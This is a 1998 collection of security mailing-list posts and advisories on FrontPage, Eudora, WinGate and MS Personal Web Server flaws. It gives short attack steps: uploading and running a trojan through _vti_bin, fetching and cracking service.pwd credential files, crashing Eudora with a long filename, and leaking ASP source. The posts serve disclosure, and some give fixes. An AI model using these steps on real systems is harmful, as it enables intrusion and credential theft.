EXPLOITS :
Perry Harrington System Software Engineer zelur xuniL ()
http://www.webcom.com [email protected] Think Blue. /\
Date: Thu, 23 Apr 1998 18:35:34 -0700
From: [email protected]
To: [email protected]
Subject: Another Frontpage Bug, with promiscuous ScriptAliases
The Apache hack that M$ distributes allows one to create ANY directory
on a Frontpage enabled web server, and execute content in it.
This also goes for the stock Netscape Server config that M$ recommends.
Hmm, I wonder if M$ deliberately places security holes in Unix apps so
that they can claim "but Frontpage under IIS doesn't have that hole!".
Mainly because IIS loads Frontpage as a DLL (I suppose). Frontpage
wouldn't be anywhere near the PIG it is if it ran as an Apache module
or NSAPI module...but then who has an extra 5 megs per server process
to burn???
EG:
You want a rogue program to run, and the victim has anonymous uploadable
FTP (or you sign up for a service and you want to run binaries on the
server, but can't):
mkdir _vti_bin
cd _vti_bin
put [whatever bin]
Web browser:
http://www.victim.com/somedirectorystructure/_vti_bin/trojanfile
Boom you've got stuff runnin on that server.
They configure the Netscape server the same way.
Unless you make a special NSAPI or Apache module, you're vulnerable
as a freshly born ewe of a cloned sheep named Dolly!
And why is this possible???
ScriptAlias "*/_vti_bin/*" /somedirpath
<Object ppath="*/_vti_bin/*">
...
</Object>
Solution:
Custom NSAPI / Apache module:
NameTrans fn="prefix_fpdir" prefix_path="/somedir/cgi-bin/frontpage" name="cgi"
Plus:
Custom Stub:
/somedir/cgi-bin/frontpage/cgi-wrapper [path to real binary]
--Perry
--
Perry Harrington System Software Engineer zelur xuniL ()
http://www.webcom.com [email protected] Think Blue. /\
Date: Sun, 26 Apr 1998 14:46:32 -0400
From: frank darden <[email protected]>
To: [email protected]
Subject: Leveraging search engines against Frontpage enabled servers
Although this isnt really much more than a human bug, I thought I would
share the following information.
After reading some of the above posts, a friend decided to load up
FrontPage Editor, in an effort to seek out vulnerable sites. He did a
search on _vti_inf.html to get a list of some Frontpage servers on the net.
It was effective, and he found site after site that had NO password
whatsoever limiting his ability to edit the servers pages. Actually, I
havent spent much time researching FrontPage, but I can say that most
admins are incapable of setting this up properly.
Frank
http://www.locked.com
Date: Sun, 26 Apr 1998 15:55:18 -0700
From: chameleon <[email protected]>
To: [email protected]
Subject: Some Past Frontpage Exploits
[The following text is in the "iso-8859-1" character set]
[Your display is set for the "US-ASCII" character set]
[Some characters may be displayed incorrectly]
I've seen a few posts here recently talking about frontpage bugs and things
of the such so I thought I would share something things me and Vacuum found
6 or so months ago. Note: goto www.rhino9.org/com/net and get the new paper
by Vacuum and I on nt hacking and things of the such. NT registry is Vacuums
b!tch.
1. Frontpage extensions for un!x can lead to some bad bad problems. Around
90% of the time when your sitting on a shell of a provider that has
frontpage server extensions you can do a find / -name service.pwd -print and
then from that list grep out readable ones. Usualy as I said 90% of the
time... you will beable to have read access and sometimes write access to a
persons service.pwd.
2. Frontpage extensions for un!x..... Also more then 50% or so of the time I
have seen that if you do http://www.victim.com/_vti_pvt/service.pwd you will
beable to read the remote computer service.pwd because of bad chmod
permissions.
3. Frontpage password cracking: As Vacuum and I first discovered an
documented, frontpage server extensions use DES encryption. So basically you
can take the frontpage service.pwd (chameleon:jk53kjnb43) and then add
chameleon:jk53kjnb43:0:0:comments:/:/bin/bash and drop that into your
password cracker and boom. You get the idea. Note: A lot of times people
will use the same frontpage password as their other passwords for the un!x
shell. Thats a givin though to any hacker/cracker/security d00d :-]
4. I saw a post today I believe about someone being able to connect to a
server with frontpage server extensions and being able to alter the page
without any password. The reason you can do this is the NT everyone group.
Its very common that a server with, NT4.0 server, IIS3.0 and frontpage
server extensions installed, you can alter their webpage via frontpage
because the everyone group is on the computer and it drops you right in.
That shouldnt be too hard to understand. Note: Right after installation of
frontpage server extensions on a NT4.0 IIS3.0 box it addes the everyone
group to have access to the server via frontpage explorer etc.
5. Find File exploit used for frontpage hacking. It is possible to use the
find file exploit (http://www.victim.com/samples/search/queryhit.htm) and
search for FILENAME=*.pwd. About 20% of the time or so you will beable to
find pwd files on the remote sytem. Note: By default the find file exploit
will let you read any file in its search area with no access restrictions.
6. Something for the neato people out there to look into are the frontpage
buffer overflows. Enough said I hope.
-chameleon
Rhino9 Security Team (www.rhino9.org/com/net)
InterCore Security
"Pointless quote goes here."
"N34t0 4NS1 G03S H3R3" tee hee ;-]
Description: Eudora will crash if it tries to receive an email with an attachment that has a filename of at least 233 characters.
Author: whiz <[email protected]>
Compromise: Stupid DOS attack
Vulnerable Systems: Windows users running Eudora Pro 4.0 or 3.0
Date: 29 March 1998
Details
-----------------------------------------------------------
Date: Sun, 29 Mar 1998 05:04:17 -0500
From: whiz <[email protected]>
To: [email protected]
Subject: Eudora Pro 4.0 attachment/long filename problem
Eudora Pro 4.0 crashes when it trys to retrieve a message that has an
attachments with an extra long filename. The length of the filename
effects the type of crash that will occur. A filename of greater then 233
characters in length will cause an illegal operation. However, a
bluescreen of death occurs and a reboot is necessary if the filename is
exactly 233 characters.
Heres how to recreate it on Windows 95.
1. Create a file with a long name(>=233).
2. In Eudora, send an e-mail to your self with the new file attached.
3. Now check your mail, Eudora should crash when it starts to download the
attachment.
And since Eudora crashes before it deletes the message from the server you
will have to do this in order to check your mail again:
1. Telnet to your mail server.
2. Type USER yourusername, hit enter.
3. Type PASS yourpassword, hit enter.
4. Type DELE 1, hit enter.
5. Type QUIT, hit enter.
-whiz
Date: Mon, 30 Mar 1998 14:09:02 -0800
From: Lewis Eatherton <[email protected]>
To: [email protected]
Subject: Re: Eudora Pro 4.0 attachment/long filename problem
The same bug is apparently in version 3.x as some funny person at my office
just exploited it...
At 05:04 AM 3/29/98 -0500, whiz wrote:
>Eudora Pro 4.0 crashes when it trys to retrieve a message that has an
>attachments with an extra long filename. The length of the filename
>effects the type of crash that will occur. A filename of greater then 233
>characters in length will cause an illegal operation. However, a
>bluescreen of death occurs and a reboot is necessary if the filename is
>exactly 233 characters.
>
>Heres how to recreate it on Windows 95.
>1. Create a file with a long name(>=233).
>2. In Eudora, send an e-mail to your self with the new file attached.
------------------------------------------------------------------
#############################################################
The WinGate Logfile service basically puts up a web server on port 8010 giving full read access to the victim's hard drive(!)
Author: HKirk <[email protected]>
Compromise: Remote read access to a Wingate user's hard drive
Vulnerable Systems: Windows users who run Wingate. This program is a huge security hole, a much better (cheaper, more secure, more robust, better performing) solution is to install a Linux gateway with IP masquerading.
Date: 29 March 1998
Details
-------------------------------------------------------------
Date: Sun, 29 Mar 1998 00:29:08 -0500
From: HKirk <[email protected]>
To: [email protected]
Subject: Hole.
Exploitable flaw in the New Version of WinGate... The Deerfield company
released this new version to fix previous flaws found by our team...
Keep tryin guys.. and we will keep you on your toes.
http://207.98.195.250/advisories/
NeonSurge
The Rhino9 Team
http://207.98.195.250/
[Links] [Image][Image]
[Image]
[About] WinGate version 2.1 Exploitable
[Updates]
[Contact] Vulnerability tested on Wingate version 2.1
[Advisories]
[Texts] SYSTEMS AFFECTED
[Products] WinOS running Wingate 2.1
[Tools]
[Links] PROBLEM
The problem is in the WinGate LogFile service
being accessable to anyone by default and poor
programming on the part of
Deerfield Communications Company.
IMPACT
If the LogFile service is not reconfigured after
install then any remote user can access the
WinGate servers harddrive having readaccess to any
file on the same drive as the WinGate
installation.
EXPLOIT
WinGate servers that are running the LogFile
Service, listen for connections on TCP Port 8010.
By opening a HTTP session to this port you will
either get a "connection cannot be established" or
a listing of directories on the remote drive
wingate was installed upon.
SOLUTION
Under your WinGate "GateKeeper" make sure your
LogFile Service Bindings do not allow connections
coming in on any interface. Basically as with any
WinGate situation, deny access from all IP's
except for the
trusted IPs on your internal network or possbile
remote IPs that you might use to check your system
from a remote location.
NOTE
This is the second time that Rhino9 has released
an advisory about WinGate. WinGate was recently
recoded to stop the "WinGate bounce exploit" and
will need to be recoded or patched for this
current advisory. We are not knocking WinGate...
it is a good product just needs some work. WinGate
can be almost unbreakable if you configure it
right by only allowing trusted IPs etc...
The contents of this advisory are Copyright (c)
1998 the Rhino9 security research team, this
document may be distributed freely, as long as
proper credit is given.
[Image]
IIS 3.0 had a bug which allowed ASP source to be downloaded by appending a . to the filename. That was eventually fixed by MS but they didn't fix the same hole in their Personal Web Server.
Author: Lynn Kyle <[email protected]>
Compromise: Read ASP file source, could contain passwords, etc.
Vulnerable Systems: Those running vulnerable version of MS Personal Web Server
Date: 22 March 1998
Details
------------------------------------------------------------------
Date: Sun, 22 Mar 1998 10:15:01 -0700
From: Lynn Kyle <[email protected]>
To: [email protected]
Subject: MS Personal Web Server
Has this been reported?
The MS Personal Web Server (tried on the win95, not NT) suffers
from the old IIS 3.0 unpatched bug of allowing you to download
asp files by using a trailing ".".
e.g.,
telnet victim 80
GET /default.asp. HTTP/1.0
will give you the contents of the asp not the result.
oops for any of you embedding a db login/pass in the asp.
------------------------------------------------------------
Mike
Date: Mon, 23 Mar 1998 02:20:56 -0300
From: "Rubens Kuhl Jr." <[email protected]>
To: [email protected]
Subject: Re: MS Personal Web Server
What version of MS PWS does this apply to ?
NT Option Pack includes IIS 4.0 for NT Server, PWS 4.0 for NT Workstation
and PWS 4.0 for Windows 95, and I would think (although I haven't tested to
be sure) that this doesn't affect PWS 4.0/Win95.
Rubens Kuhl Jr.
> -----Original Message-----
> From: Lynn Kyle [SMTP:[email protected]]
> Sent: Sunday, March 22, 1998 2:15 PM
> To: [email protected]
> Subject: MS Personal Web Server
>
> Has this been reported?
>
> The MS Personal Web Server (tried on the win95, not NT) suffers
> from the old IIS 3.0 unpatched bug of allowing you to download
> asp files by using a trailing ".".
>
> e.g.,
>
> telnet victim 80
> GET /default.asp. HTTP/1.0
>
> will give you the contents of the asp not the result.
> oops for any of you embedding a db login/pass in the asp.
>
> Mike
>3. Now check your mail, Eudora should crash when it starts to download the
>attachment.
>
>And since Eudora crashes before it deletes the message from the server you
>will have to do this in order to check your mail again:
>1. Telnet to your mail server.
>2. Type USER yourusername, hit enter.
>3. Type PASS yourpassword, hit enter.
>4. Type DELE 1, hit enter.
>5. Type QUIT, hit enter.
>
>-whiz
>
>
Lewis Eatherton
Network Architect
SegaSoft, Inc
----------------------------------------------------------------------------------------------------